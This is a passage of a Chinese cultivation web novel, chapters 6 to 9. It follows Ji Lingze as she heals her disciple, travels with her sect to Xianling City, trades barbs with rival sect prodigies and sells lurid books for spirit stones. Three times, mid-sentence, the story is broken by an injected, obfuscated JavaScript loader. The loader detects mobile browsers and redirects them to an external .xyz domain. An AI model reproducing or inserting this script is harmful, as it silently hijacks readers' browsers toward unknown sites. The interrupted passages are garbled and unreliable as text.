她说这些话的时候,声音低低的。但落入季灵泽耳中,每一句话都像是刀子,割得她心脏钝痛。 她想,当初救下小蛇,不该让她拜入自己门下。 她入魔后,不知有多少流言蜚语涌向小蛇,那个沉默温驯的女孩,在她看不见的地方,承受了太多太多。 但小蛇从未怪过她。 “小蛇,”季灵泽沉默了许久,再开口时,声音里含着一丝罕见温柔,“我依稀记得,今年仙选大会魁首的奖励是一株九转补魂莲,可以滋补受伤的内丹。” 她霍然抬眼,那双眼睛亮如星子,似有火焰升腾:“等我。” 华漠和凤潇潇再回来时,总觉得总是懒懒散散的小师妹变得有点儿不太一样了。 具体哪里不一样,他们也说不上来。 回去的路上,凌七偏头问道:“这一届仙选大会中,修为境界最高的是谁?” 华漠思索片刻:“这一届修为最高的应是蓬莱洲的南宫策,一百七十五岁便到了元婴期,此外,万象宗郁观、百晓山洛啸天、玉虚宫凤无霜是金丹大圆满,冲击元婴期也很有希望。我们很难和他们抗衡。” 凤潇潇听着这名字,神情有一瞬间的黯淡。 季灵泽默默记下了这些名字,又问:“四大门派比我们厉害很多吗?” “多,”华漠微微叹息,“我们沧山派只有我与你师姐是金丹期,可是大宗门不一样,大宗门背靠世家,资源丰富。几乎每个宗门,光金丹期修士都有六七个。” 凤潇潇摩挲着鞭子,皱眉道:“这就是我着急的原因,我们沧山派再不努力,恐怕连第一个考场都撑不过去。” 华漠看着季灵泽若有所思的神色,问道:“师妹问这些做什么?” 季灵泽踩着招财剑,御剑飞至前方,神色如常:“随便问问。” 夜晚,季灵泽背着所有人,再次去了一趟松林。 莫哀一直坐在山洞中等待,一见到她就笑了:“我就知道师娘会来。” 季灵泽伸手轻轻弹了一下她的脑壳,笑道:“聪明小蛇,我来这里打坐。” 她在松林中选了一块高石,盘膝坐下,闭上了眼睛。 松风穿行林中,扑面带着青草与泥土的芳香,天穹中缀满了闪烁的繁星,万籁俱寂。 莫哀安静地站在她身后为她护法,灵力从四面八方涌向季灵泽的身体,她灵台深处的内丹光华闪烁,原本透明的颜色渐渐发出五色的光。 与此同时,季灵泽浑身上下为之一轻,仿佛天地间万物皆忘,只剩下她孤身一人。她入定了。 灵力不断在她四周汇聚,松林中的草木一时间都受这种灵气滋养,缓缓生长起来,莫哀注视着她的背影,神色有一瞬间的动容。 季灵泽再度睁开眼时,天光已经大亮,她目中有五色光一闪而过,只觉得浑身上下飘飘然如同长途跋涉的人洗了一个热水澡,卸下来了沉重的包袱,几乎有一种恍惚之感。破裂的心脉一反常态地舒服,季灵泽深深呼出一口气,站起身来。 周遭的草木吸饱了灵力,也变得苍翠欲滴,不远处的潭水中央,原本含苞欲放的荷花已经全然盛开了,嫣红一片,晨风吹过,摇曳生姿。 莫哀擦拭了一下眼角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362817|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹道:“好久没见师娘修炼了,这样快吸收灵力的速度,我没有在修真界见过第二个。” 季灵泽回头向她一笑,走过去,抬手覆盖住她的眼睛,一抹细细的灵力注入莫哀的眼中,她眼角的细纹以肉眼可见的速度变得淡了许多,莫哀连忙推开她:“师娘!您刚刚吸收完灵气,怎么可以乱用回春术!” 季灵泽挑眉道:“吸收来灵力不就是用的吗?要不然修这破仙干嘛。用完了我继续修炼便是。” 莫哀:“……” 不管听到这句话多少次,她还是想感慨,她师娘真是十年如一日的傲。 但她又觉得开心,说出这句话的季灵泽,眉宇间隐约又有了当年修真界第一天才的锐气。 季灵泽按住她的肩膀,非常坚决地再度把手掌覆盖在她的眼睛上,元婴期的小蛇当然有能力推开她,但她料定了小蛇这孩子把尊师重道刻在了骨子里,忤逆师长的事情是万万不会做的,果然,莫哀被她一按,像是被钉在原地一样,被迫接受了她一个时辰的回春术。 季灵泽满意地看着小蛇眼睛边上的细纹消失了,干枯的皮肤略微有了一些水润,骄傲地拍了拍发麻的手掌心:“不错,很多年没有用过回春术了,好在没有手生。” 莫哀的头已经快要低到地底下去了:“徒儿无能,元婴期了还要师娘来帮忙……” “哪里的话,就算元婴期了,你不还是我徒儿。”季灵泽失笑,揉揉她脑袋,“你从小爱自省,不是个好习惯。如今你神魂缺失,可我才筑基,能做的不多,真说起来是我这个做师娘的不称职。” 她伸手在储物袋里翻找了一通,变戏法一般掏出一串糖葫芦来递给她:“昨天下山买的,别想那么多,你就在这里好好调息,等我带九转补魂莲回来。” 季灵泽回门派后,看见了乌泱泱的一群人才知道,今日是出发日,他们沧山派报名了仙选大会的修士,要从这犄角旮旯的山沟沟里进城了。 进的城是仙灵城,乃是修仙界第一繁华的城,四大世家与四大门派都聚在那附近,往来之人均是修士,灵兽灵石更是遍地开花。 当然,那些和他们没有关系。 他们沧山派弟子凑了半天,也只够租了几辆飞马车,华漠与凤潇潇拖着一群没见过什么世面的小弟子,就这样踏上了去往仙灵城的路。 季灵泽靠在车窗边闭目养神,坐在季灵泽旁边的弟子恰是一开始要把她踢出自己队的修士,他见旁边坐的是季灵泽,忍不住看了她好几眼,直到季灵泽闭着眼出声:“怎么了?” 修士被抓包,吓了一跳,涨红了脸道:“凌七,之前的事情,对不起啊,我……我主要是之前一直听说你是个废……呃,天资不高的修士,但你前两日才刚升筑基就能与凤师姐打平手,有什么诀窍吗?” 季灵泽睁开眼,辨认了他一会儿,问:“你叫什么?” 修士挺了挺胸,道:“韩平。” 季灵泽一本正经道:“好的韩平,你打不过凤师姐是因为你不够相信自己。” “……啊?我吗?”韩平惊呆了,他指着自己,“我要相信自己能打过凤师姐?” “对!”季灵泽板起脸,说得斩钉截铁,铿锵有力,“其实只要你发自内心相信自己,你就会发现人的潜能是无限的!” 韩平迟疑道:“我的潜力,是无限的?” “没错!”季灵泽抬手往前面凤潇潇的位置一指,“现在,勇敢地去挑衅凤师姐!她打你,你就打回去,不要怕,这是锻炼你勇气的一种方式。” 最后,她语重心长地道:“记住我的话,相信自己。” 7. 第 7 章 在季灵泽鼓励的目光中,韩平径直走向了凤潇潇。 他站到了凤潇潇面前,犹豫许久,最后还是一咬牙拔出了剑,勇敢地直视凤潇潇的眼睛。 韩平震声道:“凤师姐,我觉得你也不过如此,我要挑战你!” 坐在一边的华漠睁大了眼睛,欲言又止:“你……” 周围的修士:“!” 凤潇潇慢慢把手中的凤尾鞭抽出,看着韩平,目光里寒光四射:“你刚刚说什么?” 韩平顶着这样的目光,感觉自己有点腿软,转念一想凌七可能也是这么过来的,凌七那个废材都能做到的事情,他凭什么不行! 于是他再次震声道:“问什么问,我说,我要挑战你!” 华漠沉默地转过了脸。 周围的修士们张大了嘴巴。 凤潇潇手中的凤尾鞭周围慢慢燃烧起一圈如同蓝色牙齿的火焰。 她看着韩平,目光很“亲切”:“去飞马车外打,我怕把车子拆了不好赔。” 说完,她也不等韩平反悔,单手拎着他的领子把他拖出了车。 几分钟后,车子外传来震耳欲聋的惨叫,修士们倒吸一口凉气,纷纷不太忍心地小声讨论起来: “韩平吃错药了吗?” “谁知道,可能是仙选大会前压力太大发疯了?” “嘶……你有没有感觉韩平的惨叫声更大了?” …… 韩平再次出现时,他的脸已经变成了焦黑色,五官都看不清了,身上的衣服更是破破烂烂如同抹布,他一瘸一拐地走进来,连凤潇潇的眼睛都不敢看,灰溜溜地逃回了座位,凤潇潇手中的鞭子还没有收回,她瞥了一眼韩平,嗤笑一声,走到自己座位上坐下。 华漠失笑:“师弟师妹们还年轻,你何须与他们一同计较。” 凤潇潇冷哼一声:“仙选大会前不好好训练,就想着怎么踢出境界低的师妹,我早看他不顺眼了。” 华漠微微一愣,忍不住弯起眼睛:“原来你是在为凌七抱不平。” “我哪有,”凤潇潇扭过头看窗外,别扭地小声道,“我只是……单纯看他不顺眼。” 季灵泽靠在窗边继续闭目养神,她前世已经分神,虽然这一世境界低微,五感却异常敏锐,师姐的话传入她耳中,她缓缓勾起唇角。 两天一夜后,飞马车终于到了仙灵城门口。 随着飞马车靠近,整座仙灵城如同一幅徐徐展开的画卷,在他们面前铺开。 仙灵城坐落于云海之中,云雾缭绕之间,隐约可见有流光一闪而过,那是无数御剑修士飘飘而来的身影。抬眼望去,城周围满是青山,遍植梧桐树,树高百丈,形如华盖,树身上刻满了符文,闪烁不定。 出入其中的修士更是一个比一个阔绰,乘着莲花座来的,骑着火凤凰来的,坐着白虎来的……出手阔绰,一看便知是出身大家族的人物。 他们沧山派一群人挤在两个飞马车里,哪里见过这种阵仗,一时间小弟子们都呆立在车窗前,震撼地看着眼前的一切。 “下车了。”华漠提醒道。 凤潇潇看着他们这幅不值钱的样子,恨铁不成钢地道:“回神,回神了!你们这幅样子被别的修士看见了,又要笑话我们沧山派是穷乡僻壤里来的小门派。” 韩平嘟囔道:“也没说错啊……” 凤潇潇横眉立目:“你说什么?” “没,没什么,”韩平条件反射地一激灵,闭上了嘴,他现在看到凤师姐就觉得浑身上下都隐隐作痛。 相比于第一次来到仙灵城众人的惊诧与艳羡,季灵泽没什么感觉。 她环视四周,对那些御剑而来的修仙者的剑十分感兴趣,剑的品质越好,能支撑飞行的时间就越长,她前世有一把享誉修仙界的名剑——青冥剑,可以支撑连续飞行十天十夜,可惜她生死道消,这把剑也不知去了哪里。 “那是百晓山的洛啸天吧!” 周遭的惊叹拉回来了季灵泽的思绪,她转头看过去,见一队修士列阵而来,皆穿着清一色的明黄色衣衫,为首的少男骑着一匹足足有两人高的巨狼,周围的弟子簇拥着他,如众星拱月。 修士们见了他们,纷纷避让开一条路,无数崇拜忮忌的目光汇聚在为首的少男身上,他似有所感,昂起了头。 季灵泽看了一会儿,总觉得这个名字有点耳熟,问道:“洛啸天……很厉害吗?” 韩平凑到她身边,很夸张地道:“当然厉害!你连他都没有听说过吗?百晓山金丹大圆满第一人!那可是百岁以内便已经金丹大圆满的强者!” 经过他们的洛啸天满意地听见了他想听的,不由得将抬起的头愈发抬起来了一点。 一个清凌凌的女声疑问道:“金丹大圆满,很厉害吗?” 这人什么意思?! 洛啸天顿时炸了,一扯缰绳,沙狼停下,感受到主人的不悦,用头拱了拱他。 他沉下脸来,扭头去找声音的来处。 两百岁以下的金丹大圆满!不算南宫策那个天才,全修真界也只有三个! 三个!! 她怎么敢问出这种蠢问题? 他后面的弟子们见他停下了,也纷纷停下了脚步,他身边一个眼角带疤的女修顿了顿,无奈地问道:“洛师兄,有何不妥吗?” 洛啸天没理她,径直看向了说话的修士。 那是个看上去就一股穷酸味的女修,穿着一件洗得都起毛边了的白袍,背着一把破铜烂铁,境界才刚筑基,弱得可怜。 一看就知道是沧山派的废物土包子。 这种人凭什么不把他放在眼里?! 越想越气,洛啸天“噌”一下从巨狼的背上跳了下来,他径直走到季灵泽面前,上下打量她一遍,从鼻子里哼出一口气:“筑基前期的废物也敢看不起小爷我?” 此话一出,后面的百晓山弟子先是一愣,然后纷纷哈哈大笑起来,唯独脸上有疤的女修叹了口气,默默站远了点。 华漠和凤潇潇二人的脸色都有点难看,凤潇潇咬牙切齿地盯着洛啸天,讽刺道:“堂堂百晓山首席大弟子,当街羞辱他人,不觉得很丢脸吗?” “不觉得啊。”洛啸天坐在沙狼背上,居高临下地俯视凤潇潇,挖苦道,“连这种刚筑基的废物都能上考场,难怪你们次次垫底。要不是小爷主动开口,她这样的废物都不配和小爷我说话。” “师兄说得对!” “师兄好厉害!” 后面的百晓山弟子像是提前排练过一样,纷纷整齐划一地喊了起来。 季灵泽迷茫地看着他们,过了一阵子才终于搞清楚洛啸天为什么生气。 冤枉。 其实她刚刚真的只是有点疑惑,随口问了一句。 上辈子她二十九岁金丹大圆满,比同门郁泊舟整整早了十年,后来郁泊舟不准她喝酒逃课斗蛐蛐的时候,她没少拿这个嘲笑他。 因此,她对金丹大圆满一直有种错误的认知,刚刚听见韩平的话,下意识问了一句。 谁知道洛啸天听见了,把她的疑问曲解成了挑衅,突然燃了起来。 她不欲惹事,刚想开口解释,就见洛啸天手中突然冒出一团沙雾。 凤潇潇与华漠同时抬步,挡在季灵泽面前,凤潇潇抽出凤尾鞭,华漠手掌心飞速结出一团云,二人同时警惕地看向洛啸天。 “只是给你们展示一下金丹大圆满的实力,方便你们认清自己和我的差距,看把你们紧张的,”洛啸天对他们的态度嗤之以鼻,“放心,小爷我从来不恃强凌弱。” 他将手中的沙雾揉成一团,双指并拢,变戏法一般轻点了一下沙雾,土黄色的沙雾便乍然散开,以肉眼可见的速度飞快凝结壮大,不过片刻的功夫,沙雾汇聚成一股土黄色的沙尘暴,铺天盖地席卷而来,修士们不得不闭上眼睛,唯恐被沙尘暴牵连。 等他们睁开眼睛时,一个个都惊呆了。 半空中出现了一座巨大的沙桥,一端连着城内,一端连着城外,桥面宽阔,可容百人行走,。 仙灵城附近的修士都被这座气派的桥所吸引,纷纷聚拢过来,议论纷纷。 这一刻,不只是筑基期的修士们,连华漠和凤潇潇都有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362818|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹那的悚然,弹指之间便能取沙做桥,原来这就是金丹大圆满的实力! 比充裕的沙系灵力更可怕的,是他能熟练地掌握这种沙系灵力,对这种能力的操控度炉火纯青。 洛啸天抬起手,五指并拢,轻松一捏,那座沙桥便迅速溃散了,四散的沙子重新化作他手中一团小小的沙雾。 “看清楚了吗?”他散去沙雾,偏头看着季灵泽,拖长声调道。 出乎他的意料,季灵泽神色未变,还一副若有所思的样子:“看清楚了。” 洛啸天的眼皮抽了一下。 可恶,怎么有种一拳打在棉花上的挫败感! 下一秒,季灵泽突然笑了笑,她伸出一只手,手心同样握着一捧流沙。 她垂下眼,随手将流沙往半空中一扬,下一刻,就见流沙在半空中扩散,逐渐扩散成了一面表面平整光滑的膜,远远望去,像是凭空多了一张沙做的纸。 没人能搞清楚季灵泽在干什么,和善于用沙的洛啸天相比,筑基期的沙系灵力显得有些不够看。 四周当然有认出季灵泽的修士,纷纷与旁边的人交头接耳起来。 “那个就是沧山派的凌七,对,就是那个修炼一百年还在炼气的废物。” “原来是她啊,她在干什么?” “想和洛啸天较量灵力?这是来给别人看笑话的吗?” “也不知道沧山派怎么想的,连这种人都放来参加仙选大会。” …… 季灵泽对这些声音充耳不闻,她专注地仰头看着天空,抬手控制半空中的沙子变幻位置,她的手指变成了一支灵敏的画笔,指挥着纷乱的沙子渐渐变得有序起来,由沙子铺成的画纸上,逐渐显现出一个人形。 刚开始洛啸天还不屑一顾地等着看笑话,越看越不对劲。 那沙子勾勒出了一匹沙狼。 沙狼上坐着一个人。 那人扭转身子看向一边,整张脸都皱在一起,嘴张得老大,似在大喊大叫。 更糟糕的是,那个人还会动,随着季灵泽的的操纵,那沙子勾勒出的小人从沙狼背上跳下来,在空中一会儿撒泼打滚,一会儿妩媚起舞,一时间吸引得来往于仙灵城的人都停下脚步,抬头欣赏。 逐渐有人偷偷把目光从画上移到洛啸天身上,人群里断断续续传来笑声。 洛啸天快要被气炸了。 “凌七!给我停下!” 季灵泽从容停下罪恶的双手,无辜看了一眼洛啸天,一副不知道他为什么生气的样子:“怎么了?” 洛啸天怒道:“你为什么画我?!” “没画你,随便画画。” 季灵泽目不斜视地看着天上那个梗着脖子嚷嚷的小人,五指并拢,只见小人翘起腰臀,向人们优雅鞠了一躬,并配上一个飞吻,而后流沙飞逝,缩成小小的一团,重新落在她掌心。 洛啸天的脸已经绿了。 季灵泽转过身来,笑眯眯地看着洛啸天,慢条斯理地道:“我的画技,洛公子还满意吗。” 一片寂静。 洛啸天指着她,脸涨得通红,被这个人的无耻震惊了,半晌没说出话。 季灵泽理直气壮地回看着他,丝毫没有退缩的意思。 二人之间气氛紧绷,一触即发。 “好热闹,原来都是熟人。” 一个熟悉的笑声打破了寂静,一群修士簇拥着一个人远远走来,一把玉骨扇轻轻拨开人群,露出一身蓝袍、眼含笑意的郁观。 他将那把扇子徐徐打开,正面对着众人,眼角眉梢都明晃晃地写着看热闹不嫌事大。 他出现的刹那,季灵泽回头,看清了那把扇子,终于明白了自己为什么对“洛啸天”这个名字耳熟。 扇子正面上泼墨写着几个醒目的大字: 洛啸天还钱! 他的乍然出现像是滴进热锅里的一滴油,惹得人群又是一阵骚动,有越来越多的人聚过来,把他们里三层外三层围了一圈。 今天这是怎么了,这一届金丹大圆满的三个人,城门口就有两个,好像还互相讥讽起来了? 8. 第 8 章 洛啸天一见了郁观,原本趾高气扬的神色顿时变了,他指着郁观的扇子半天没说出来一句话:“你你你……” 郁观把扇子一收,风度翩翩地道:“五十万灵石,什么时候给我?” 洛啸天怒了:“小爷我何时欠过你五十万灵石!我当时没带钱,就欠你二十五万!” 郁观重新打开扇子,摇头叹息道:“我这里的钱,一贯是利滚利,你当时被你娘扣了钱,连一顿饭钱都付不起,现在呢?可有钱了?” 洛啸天勃然大怒:“没钱!小爷就是有钱也不给你这个黑心大王八!” 郁观遗憾地摸着扇子:“好吧,看来这把扇子我是换不了了。” 他又凑到季灵泽身边,一本正经地道:“上次的酒钱是我付的,赶时间没和你计较,凌七,八百灵石一杯酒,利滚利,算你一千,爽快付了吧。” 还准备站在一边看热闹的季灵泽:“……” 她眉心一跳,道:“没钱。” 开玩笑,一千灵石,那是她抠抠搜搜几十天才能攒下的钱!郁观长得跟个贵公子似的,居然是个不折不扣的抠门精。 “你也没钱啊,”郁观得逞一笑,朝一边的弟子借了一支墨笔,大笔一挥,那把扇子上顿时多了一个人名——凌七、洛啸天还钱! 季灵泽:“……” 郁观难得看见季灵泽吃瘪,心情大好,他拍拍季灵泽的肩膀,还想去拍洛啸天的肩膀,被洛啸天避若蛇蝎地躲开了,他也不在意,朝他们二位挥挥手,跳上剑,大笑道:“记得还钱啊——” 他的身影走远后,场上顿时又陷入了一片寂静。 众人的目光再度落在了气鼓鼓的洛啸天和神情无奈的季灵泽身上。 方才剑拔弩张的两人,现在你看看我,我看看你,一时间都陷入了沉默。 季灵泽率先开了口,她低笑一声:“真黑啊。” 洛啸天没好气地附和了一句:“他最不要脸!” 他附和完感觉不对劲,再次瞪了季灵泽一眼:“还有你!” 说完这句话,他也没心思再与她争高下了,拨转狼头扬长而去。 洛家浩浩荡荡的大部队进城之后,沧山派也跟着进城了。 进城的时候,华漠和凤潇潇始终围着季灵泽,问她什么时候欠了郁观的钱,他们两个现在都点儿懵。 仙选大会还没开始,季灵泽先是和百晓山结仇,又欠了郁观一沓灵石,这日子过得实在是太有盼头了。 季灵泽若无其事,好像犯下这些事的不是她,反过来很耐心地安慰二人道:“没事的,相信我。” 华漠脸色一凝。 相信凌七?她就是个定时炸药,感觉放任她这样下去,她能把剩下的宗门也得罪一遍! 一个炮仗一样的凤潇潇不够,又来一个凌七。 华漠深深叹气,最终决定……仔细把杯子涮干净,给季灵泽和凤潇潇分别倒了一杯茶。 考虑到整个沧山派和季灵泽一样的经济状况,他们三人找了个仙灵城最便宜的茶楼,又在最便宜的茶楼中点了一杯最便宜且可以无限续杯的茶。 凤潇潇将茶一饮而尽,她到现在还有点儿无法冷静:“你是说,你在打魔修的时候遇到的郁观?” 季灵泽坦然道:“是。” “你一个人去了百魔窟?” “嗯。” “简直是胡闹!”凤潇潇一拍桌子,脑仁都开始隐隐作痛了,“你知不知道这样有多危险?你再想磨练自己,也该和师兄师姐说一声,遇到事情了我们也好来救你!” 季灵泽笑起来:“没事的。真的没事的。我这不是全须全尾地坐在这儿了吗?” 她总是这幅不着调的模样,好像有人把刀架在她脖子上,她也只会笑着夸那人刀法不错。凤潇潇气结,伸手去拿杯子想喝口茶顺顺气,却发现杯子里没有茶水了,手伸到一半,只好调转方向把窗子打开。 华漠一边给凤潇潇把茶续上,一边温和地批评季灵泽:“你这样不对,我们是沧山派的大师兄和大师姐,有责任护着你们。” 季灵泽刚想回答他,就见凤潇潇看着窗外,表情忽然凝住了。 她没有见过凤潇潇露出这种表情,像是难过又像是气愤,抓着窗子的手指尖都在泛白。 华漠也注意到了凤潇潇的异样,他放下茶壶,探头过去向下看。 映入眼帘的是一个年轻女子,满身价值不菲的绫罗绸缎,腰间别着一把与凤潇潇武器相似的九节鞭,鞭尾镶嵌着一颗价值连城的夜明珠,随着她走动,夜明珠隐隐发出明亮的光。 她也正在仰头看着凤潇潇,一双和凤潇潇相似的丹凤眼里是毫不掩饰的厌恶和轻蔑,仿佛在看路边的垃圾。 凤潇潇的胸口剧烈起伏着,似在压抑着什么,季灵泽凑过去,见了那女子的表情,眉毛一挑,朝楼下拖长了声音喊道:“你暗恋我师姐吗?” 她一点儿都没有收着声音,这句话一出,楼上楼下的修士齐刷刷好奇地看向那女子,那女子的脸色瞬间变得十分难看,她恨恨盯着凤潇潇,径直走上楼来。 四周飘来断断续续的议论声: “那是凤无霜吧。” “正是,玉虚宫的大小姐,出了名的不好伺候。” “人家有这个底气,据说她快要突破金丹大圆满了,还不到两百岁,真是年轻有为。” …… 随着脚步声渐渐接近,凤潇潇的神情变得愈发紧绷。她下意识摸上了腰间的凤尾鞭。华漠看了她一眼,默默调整了一下座位挡在她前面。 季灵泽拿起茶杯转了转,静静看着那女子走上楼。 “凤潇潇,你一个被禁赛的修士,居然还敢报名。”凤无霜人未至声先至,凤潇潇脸色阴沉下来,连一贯好脾气的华漠的眼中都闪过一丝愤怒。 华漠站起身,敛眉道:“凤无霜,我们沧山派自问一直行事坦荡,是你们玉虚宫步步紧逼,才逼着潇潇出手,我不敢忘记。” 凤无霜站定了,连一个眼神都没有分给华漠,她慢条斯理地把玩着那把九节鞭上的夜明珠,冷哼一声,抬眼望向凤潇潇:“从前玉虚宫上一任大弟子干的那些蠢事我不管……这一次遇上你,我绝不会善罢甘休。” 凤潇潇低着头,一反常态地没有说话,她紧紧地咬着牙关,咬得舌尖都出了血。 四周投来无数窥探的目光,凤无霜不耐地从怀中掏出一颗巴掌大小的核桃,指尖微微一拨动,四人脚底一空,同时落入了核桃内的虚幻界中。 季灵泽目光闪动,一个虚幻界价值百万灵石,看来凤无霜在玉虚宫的确风光无限,恐怕最好的资源都落在了她头上。 进了虚幻界,凤无霜顿时无所顾忌,她抽出了腰间的九节鞭,径直指向凤潇潇的脸,冷笑道:“你自己承认你不是凤家人,是魔修的后人,我就放了你和你的门派!” 此言一出,华漠僵硬在原地,凤潇潇像是被人往心窝里戳了一下,浑身都抖了起来,她脸上顷刻间毫无血色,一字一顿地道:“我是凤家人,你不能因为我母亲入魔就……” 一个茶杯突然飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362819|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至,直冲冲地砸向指着凤潇潇的鞭子,凤无霜想也没想,挥鞭一击,杯子应声破裂,杯中的热茶泼出,兜头浇了凤无霜一身。 几人都一愣,纷纷往后看去,就见始作俑者季灵泽双手抱胸,目光平静地看着凤无霜。 “手滑了一下,”她无辜地道,“真不好意思。” “你!”凤无霜气结,她捏紧了手中的鞭子,力道大得仿佛要把它捏碎。 “哎哎哎,她要打我,师姐救我。”季灵泽躲到凤潇潇身后,探出半个头,眨眨眼。 华漠语气加重,严厉道:“仙灵城内允许斗法,但禁止修士大打出手,你想被开除这一届仙选大会吗?” 凤无霜胸口起伏几次,终究咽下这口气,剜了季灵泽一眼,咬牙道:“你就是凌七?好,好,好,但愿是个硬骨头,考场上别跪着求我放过你。” 季灵泽仿佛听不懂对方的嘲讽,诚挚地笑道:“好啊,那就多谢师姐指点了。” 凤无霜走后,三人坐在茶水前,一时间无人说话,华漠看着凤潇潇,欲言又止。 凤潇潇朝他们勉强一笑,匆匆道了一声“我去修炼了”便打算离开,却被季灵泽拉住衣角,她目光澄澈,朝她笑道:“师姐,我们还没讨论打败四大门派的对策呢。” 凤潇潇一顿,脚步停在原地。 季灵泽用手捻着凤尾鞭的鞭梢,拽着凤潇潇重新坐了下来,笑道:“我很穷的,师姐帮我付一下打碎的杯子钱,而且我们还没喝完茶呢,仙灵城的茶水那么贵,喝不完多浪费。” 华漠目光柔和下来,也跟着道:“是啊,修炼不着急。” 凤潇潇脚步停下,她低下头,最终还是坐下来了,吸了吸鼻子,闷声道:“怎么对付四大门派?” 季灵泽斩钉截铁:“逃!” 满怀期待的凤潇潇:“……” 果然不能指望最不正经的凌七说出什么详细的对策。 季灵泽手指一勾,茶杯里的水自动漂浮在了空气中,慢慢化作两个面目模糊的小人,有手有脚,细看还有几分可爱。 华漠稀奇地看着小人:“你还会用水灵力?” “会一点点。”季灵泽眨眨眼,操控着两个小人在半空中打起了架,一招一式看得居然还很清楚,左边的小人明显占据上风,右边的小人节节败退,二人打得十分激烈,拳拳到肉,水花四溅。 小人故意朝凤潇潇那里跑去,你追我打,不亦乐乎。 凤潇潇睁大眼睛,目光黏在了两个小人身上,连喝茶都忘了。 季灵泽指着小人,道:“左边的小人是那些大门派的修士,右边的小人是我们沧山派的弟子,我们现在还不能与大宗门硬碰硬,但我们可以利用各个考场的特性,留到最后一刻。” 凤潇潇和华漠的神色都认真了起来,华漠若有所思道:“第一个考场是斗兽,考场内会设置大量的魔物,你的意思是,我们专心对付这些东西,其余宗门只要靠近,我们就逃,不要与大宗门起正面冲突。” “正是,”季灵泽点头,“小门派是我们的优势,大门派之间为了争夺资源夺得魁首,必然要互相缠斗,但我们不一样,只要苟到最后就是胜利。” 凤潇潇来了兴致,方才的颓然一扫而空,她指着缠斗的小人道:“我们坐山观虎斗即可,对不对?” “对也不对。”季灵泽手掌一收,左边的小人忽然掉落下去,摔到茶杯里,重新化作了一滩茶水,她拿起杯子喝了一口,目光里流露出一丝促狭笑意,“鹬蚌相争,渔人得利,我们还可以暗算呀。” 9. 第 9 章 仙灵城修仙者众多,反过来想,也是个赚钱的好时机。 反正仙选大会还未开始,季灵泽决定先大赚一笔再说。 这天傍晚,郁观像往常一样入定修炼完,偷偷溜出去逛街,在某条街道的拐角处,撞见了一个熟悉的人。 白衣女子盘腿坐在街头,面前摆了一个小摊,四周被围得水泄不通,每一个经过的修真者都忍不住在她的摊前停下,用一种复杂的目光端详她的摊位。 郁观好奇地挤进人堆里,伸着头想看清楚摊子上到底是什么,等他真看清楚后,两眼一黑,觉得自己大概是修炼走火入魔出现了幻觉。 那摊子上密密麻麻摆着一排书,做工粗糙,封面香艳,名字大胆: 《修真界不得不说的那些事》 《被偏执魔尊强制爱后》 《重生之美人仙尊爱上我》 …… 每一本都极其吸睛,每一本都全是槽点。 但每一本都让人该死地想买来看看到底写了点什么。 季灵泽正在数钱,一本书两百灵石,她已经赚了三千。她眼尖地看到了人群中的郁观,抓起一本书朝着他朗声打招呼道:“这不是万象宗的郁兄吗?你也很感兴趣吧?要不要来一本《金丹期炉鼎带球跑》?” 郁观脚下一滑,撒腿就跑,恨不能把自己的脸遮起来,凌七这个小心眼又不要脸的家伙,上次吃了他亏恐怕一直耿耿于怀,势必要让他丢脸回来。 她做到了。郁观悲愤地想,他这几天都没脸见人了。 一直跑到无人处,他才松了一口气,摸出传音石崩溃道:“凌七!你在干什么!” “赚钱啊,不磕碜。”季灵泽一边回复他,一边懒洋洋地把两本书递给面前的修士,“四百灵石。” 郁观简直了:“你哪里搞来的这些书?” 季灵泽摇头叹息:“你们这些大门派修士,一看就没有生活体验。这些书凡间多的是,他们喜欢编一些修仙者的故事乐呵乐呵。” 他们修仙者修炼任务繁重,谁有事没事往凡间跑啊! 郁观简直叹为观止:“公然卖这种书,你就不怕被查抄了吗?” 季灵泽又从一个修士手中拿过两百灵石放进储物袋里,闻言诧异道:“食色性也,谁这么闲,看点书也要管?” “你这书里又是编排魔尊又是编排仙尊的,不被管才怪呢。”郁观没好气地道,“尤其是我小叔,他最讨厌有人传播这种……呃……□□读物。” “这怎么能叫□□读物。”季灵泽为这些书喊冤,“你小叔那种死板人,根本没见识过真正的□□读物!” 郁观惊了:“你还真看过?” 季灵泽坦然承认:“看过啊。” 她前世无聊时总爱去凡间闲逛,什么新奇的小玩意儿都爱尝试一下,当年可谓是博览群书。 郁观彻底哑火了。 合着凌七除了修炼,什么都爱干。 他无语了一会儿,提醒道:“你赚了这么多,别忘了还我钱。” 季灵泽数钱的手一僵。 她深吸一口气,咬牙道:“……再说。” 